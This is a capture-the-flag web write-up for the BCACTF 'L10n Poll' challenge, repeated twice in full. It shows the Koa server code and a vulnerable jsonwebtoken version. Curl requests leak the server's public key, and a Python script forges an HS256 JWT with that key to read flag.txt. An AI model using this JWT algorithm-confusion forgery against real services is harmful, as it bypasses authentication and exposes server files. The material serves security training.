# L10on Poll | Web

### Solution

From ctf we have got url to website, package.json and server.ts

##### server.js

```js  
import Koa from 'koa';  
import koaStatic from 'koa-static';  
import Router from '@koa/router';  
import jwt from 'jsonwebtoken';  
import {readFileSync} from 'fs';  
import {fileURLToPath} from 'url';  
import {dirname, join} from 'path';  
import bodyParser from 'koa-bodyparser';  
import send from 'koa-send';

const __dirname = dirname(fileURLToPath(import.meta.url));

let yesVotes = 0;  
let noVotes = 0;

const privateKey = readFileSync(join(__dirname, "key.priv"), "utf8");  
const publicKey = readFileSync(join(__dirname, "key"), "utf8");  
const msgs = readFileSync(join(__dirname, "errormessages"),
"utf8").split("\n").filter(s => s.length > 0);  
/** @type {import("./languages.json")} */  
const languages = JSON.parse(readFileSync(join(__dirname, "languages.json"),
"utf8"));

const languageRegex = /^[a-z]+$/;

const app = new Koa();  
const router = new Router();

/**  
* @param {string} language  
* @returns {string}  
*/  
function generateToken(language) {  
   return jwt.sign({language}, privateKey, {algorithm: "RS256"});  
}

router.get("/localisation-file", async ctx => {  
   const token = ctx.cookies.get("lion-token");  
   /** @type {string} */  
   let language;  
   if (token) {  
       const payload = await new Promise((resolve, reject) => {  
           try {  
               jwt.verify(token, publicKey, (err, result) => err ? reject(err) : resolve(result));  
           } catch (e) {  
               reject(e);  
           }  
       });  
       language = payload.language;  
   } else {  
       language = languages[Math.floor(Math.random() * languages.length)].id;  
       ctx.cookies.set("lion-token", generateToken(language));  
   }  
   await send(ctx, language, {root: __dirname});  
});

router.post("/localization-language", async ctx => {  
   const language = ctx.request.body?.language;  
   if (typeof language === "string") {  
       if (language.match(languageRegex)) {  
           ctx.cookies.set("lion-token", generateToken(language));  
       } else {  
           ctx.throw(400, msgs[Math.floor(Math.random() * msgs.length)]);  
       }  
   } else {  
       ctx.throw(400, "no language");  
   }  
   ctx.redirect("/");  
});

router.get("/languages", async ctx => {  
   ctx.body = languages;  
});

router.post("/y", async ctx => {  
   yesVotes++;  
   ctx.body = [yesVotes, noVotes];  
});

router.post("/n", async ctx => {  
   noVotes++;  
   ctx.body = [yesVotes, noVotes];  
});

app.use(bodyParser());  
app.use(router.routes());  
app.use(router.allowedMethods());  
app.use(koaStatic(join(__dirname, "../public")));  
app.listen(1337);  
```

##### package.json

```json  
{  
 "dependencies": {  
   "@koa/router": "^10.0.0",  
   "jsonwebtoken": "^3.2.2",  
   "koa": "^2.13.1",  
   "koa-bodyparser": "^4.3.0",  
   "koa-send": "^5.0.1",  
   "koa-static": "^5.0.0"  
 },  
 "type": "module",  
 "scripts": {  
   "start": "node server.js"  
 }  
}  
```

To get the flag we need to read the content of a flag.txt from server. That
give us the hint that we need to search for some way to read any file from
server. Website have `select language` functionality.  
After quick look at source code of server.js we can see that information about
selected language is stored in cookie as a JWT. In this case to create
signature of JWT server use private key and to verify it layer - public key.  
  

Further, in the code we can see subpage `/localization-language` that
apparently allow us to select our language and return JWT signed with private
key.  
  
Next subpage that is worth attention is `/localisation-file`, because with use
of it we can download file with translations for all provided languages.

```bash  
$ curl "http://web.bcactf.com:49159/localization-language" -X POST -H
"Content-Type:application/json" --data-raw '{"language": "key"}' -c cookie.txt  
```

With command above I sent post request and in return I have got signed JWT
with selected language as "*key*". Request with created JWT to `/localisation-
file` allowed me to download file specified in *language* parameter.

```bash  
$ curl "http://web.bcactf.com:49159/localisation-file" --cookie "lion-
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzY4MjQwMX0.Dyrr6Z3wWz2pmU5UeY1Xool2LSu5AG8D7tg_N-g8jFtGypXTvLYzQ4fWvmdbkT2S6oL5ptGvlo-8SugaxmX07Gr2Av4aOHnJahIoaCG6zRSqkYIrANJLjPM-
qbX3cEvJZSG2ElC9sW6GKBzFTpIqziSZPUyt_NPn3dBKgW3jxrE"  
```

This request resulted with server public key:

```txt  
-----BEGIN PUBLIC KEY-----  
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf  
bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh  
PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW  
M7N2P4b2Xf3p7ZtaewIDAQAB  
-----END PUBLIC KEY-----  
```

We can't download any file with character other than lower case a-z, because
of regex in `/localisation-language`, but if we could skip this step and sign
JWT by our self this would not be a problem. So I start searching.  
On [jwt.io](https://jwt.io) website, below token editor, I found yellow,
warning rectangle with link to [this article](https://auth0.com/blog/critical-
vulnerabilities-in-json-web-token-libraries/) about vulnerabilities in JWT
token with asymmetric keys.  
  

In article I read about vulnerability in old version of JWT that mislaid
decoder that token was encoded not with rsa key, but with password.  
Because of that I could encode my own JWT with language parameter as a
`flag.txt` and  
encode it with public key. In this case server will try to verify my token by
decoding it with provided to function password - public key.  
  

With that knowledge I wrote small python script to generate JWT:

```py  
import jwt

with open("key.pub", "r") as f:  
   secret = f.read()

encoded_jwt = jwt.encode({"language": "flag.txt", "iat": "1623478547"},
secret, algorithm="HS256")  
print(encoded_jwt)  
```  
Generated JWT:  
```txt  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoiMTYyMzQ3ODU0NyJ9.wk7fc3wR1gU4cIRs2ZXT0FYC0gLaN0EWkNpyfIWUlpg  
```

### Flag

bcactf{h3_c0mes_Ur74hshR}

#### Credits

- Writeup by [HuntClauss](https://ctftime.org/user/106464)  
- Solved by [HuntClauss](https://ctftime.org/user/106464)  
- WaletSec 2021

#### License

**CC BY 4.0** WaletSec + HuntClauss

Original writeup
(https://github.com/HuntClauss/Writeups/blob/main/bcactf/l10n-pool.md).# L10on Poll | Web

### Solution

From ctf we have got url to website, package.json and server.ts

##### server.js

```js  
import Koa from 'koa';  
import koaStatic from 'koa-static';  
import Router from '@koa/router';  
import jwt from 'jsonwebtoken';  
import {readFileSync} from 'fs';  
import {fileURLToPath} from 'url';  
import {dirname, join} from 'path';  
import bodyParser from 'koa-bodyparser';  
import send from 'koa-send';

const __dirname = dirname(fileURLToPath(import.meta.url));

let yesVotes = 0;  
let noVotes = 0;

const privateKey = readFileSync(join(__dirname, "key.priv"), "utf8");  
const publicKey = readFileSync(join(__dirname, "key"), "utf8");  
const msgs = readFileSync(join(__dirname, "errormessages"),
"utf8").split("\n").filter(s => s.length > 0);  
/** @type {import("./languages.json")} */  
const languages = JSON.parse(readFileSync(join(__dirname, "languages.json"),
"utf8"));

const languageRegex = /^[a-z]+$/;

const app = new Koa();  
const router = new Router();

/**  
* @param {string} language  
* @returns {string}  
*/  
function generateToken(language) {  
return jwt.sign({language}, privateKey, {algorithm: "RS256"});  
}

router.get("/localisation-file", async ctx => {  
const token = ctx.cookies.get("lion-token");  
/** @type {string} */  
let language;  
if (token) {  
const payload = await new Promise((resolve, reject) => {  
try {  
jwt.verify(token, publicKey, (err, result) => err ? reject(err) :
resolve(result));  
} catch (e) {  
reject(e);  
}  
});  
language = payload.language;  
} else {  
language = languages[Math.floor(Math.random() * languages.length)].id;  
ctx.cookies.set("lion-token", generateToken(language));  
}  
await send(ctx, language, {root: __dirname});  
});

router.post("/localization-language", async ctx => {  
const language = ctx.request.body?.language;  
if (typeof language === "string") {  
if (language.match(languageRegex)) {  
ctx.cookies.set("lion-token", generateToken(language));  
} else {  
ctx.throw(400, msgs[Math.floor(Math.random() * msgs.length)]);  
}  
} else {  
ctx.throw(400, "no language");  
}  
ctx.redirect("/");  
});

router.get("/languages", async ctx => {  
ctx.body = languages;  
});

router.post("/y", async ctx => {  
yesVotes++;  
ctx.body = [yesVotes, noVotes];  
});

router.post("/n", async ctx => {  
noVotes++;  
ctx.body = [yesVotes, noVotes];  
});

app.use(bodyParser());  
app.use(router.routes());  
app.use(router.allowedMethods());  
app.use(koaStatic(join(__dirname, "../public")));  
app.listen(1337);  
```

##### package.json

```json  
{  
"dependencies": {  
"@koa/router": "^10.0.0",  
"jsonwebtoken": "^3.2.2",  
"koa": "^2.13.1",  
"koa-bodyparser": "^4.3.0",  
"koa-send": "^5.0.1",  
"koa-static": "^5.0.0"  
},  
"type": "module",  
"scripts": {  
"start": "node server.js"  
}  
}  
```

To get the flag we need to read the content of a flag.txt from server. That
give us the hint that we need to search for some way to read any file from
server. Website have `select language` functionality.  
After quick look at source code of server.js we can see that information about
selected language is stored in cookie as a JWT. In this case to create
signature of JWT server use private key and to verify it layer - public key.  
  

Further, in the code we can see subpage `/localization-language` that
apparently allow us to select our language and return JWT signed with private
key.  
  
Next subpage that is worth attention is `/localisation-file`, because with use
of it we can download file with translations for all provided languages.

```bash  
$ curl "http://web.bcactf.com:49159/localization-language" -X POST -H
"Content-Type:application/json" --data-raw '{"language": "key"}' -c cookie.txt  
```

With command above I sent post request and in return I have got signed JWT
with selected language as "*key*". Request with created JWT to `/localisation-
file` allowed me to download file specified in *language* parameter.

```bash  
$ curl "http://web.bcactf.com:49159/localisation-file" --cookie "lion-
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzY4MjQwMX0.Dyrr6Z3wWz2pmU5UeY1Xool2LSu5AG8D7tg_N-g8jFtGypXTvLYzQ4fWvmdbkT2S6oL5ptGvlo-8SugaxmX07Gr2Av4aOHnJahIoaCG6zRSqkYIrANJLjPM-
qbX3cEvJZSG2ElC9sW6GKBzFTpIqziSZPUyt_NPn3dBKgW3jxrE"  
```

This request resulted with server public key:

```txt  
\-----BEGIN PUBLIC KEY-----  
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf  
bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh  
PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW  
M7N2P4b2Xf3p7ZtaewIDAQAB  
\-----END PUBLIC KEY-----  
```

We can't download any file with character other than lower case a-z, because
of regex in `/localisation-language`, but if we could skip this step and sign
JWT by our self this would not be a problem. So I start searching.  
On [jwt.io](https://jwt.io) website, below token editor, I found yellow,
warning rectangle with link to [this article](https://auth0.com/blog/critical-
vulnerabilities-in-json-web-token-libraries/) about vulnerabilities in JWT
token with asymmetric keys.  
  

In article I read about vulnerability in old version of JWT that mislaid
decoder that token was encoded not with rsa key, but with password.  
Because of that I could encode my own JWT with language parameter as a
`flag.txt` and  
encode it with public key. In this case server will try to verify my token by
decoding it with provided to function password - public key.  
  

With that knowledge I wrote small python script to generate JWT:

```py  
import jwt

with open("key.pub", "r") as f:  
secret = f.read()

encoded_jwt = jwt.encode({"language": "flag.txt", "iat": "1623478547"},
secret, algorithm="HS256")  
print(encoded_jwt)  
```  
Generated JWT:  
```txt  
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoiMTYyMzQ3ODU0NyJ9.wk7fc3wR1gU4cIRs2ZXT0FYC0gLaN0EWkNpyfIWUlpg  
```

### Flag

bcactf{h3_c0mes_Ur74hshR}

#### Credits

\- Writeup by [HuntClauss](https://ctftime.org/user/106464)  
\- Solved by [HuntClauss](https://ctftime.org/user/106464)  
\- WaletSec 2021

#### License

**CC BY 4.0** WaletSec + HuntClauss

Original writeup
(https://github.com/HuntClauss/Writeups/blob/main/bcactf/l10n-pool.md).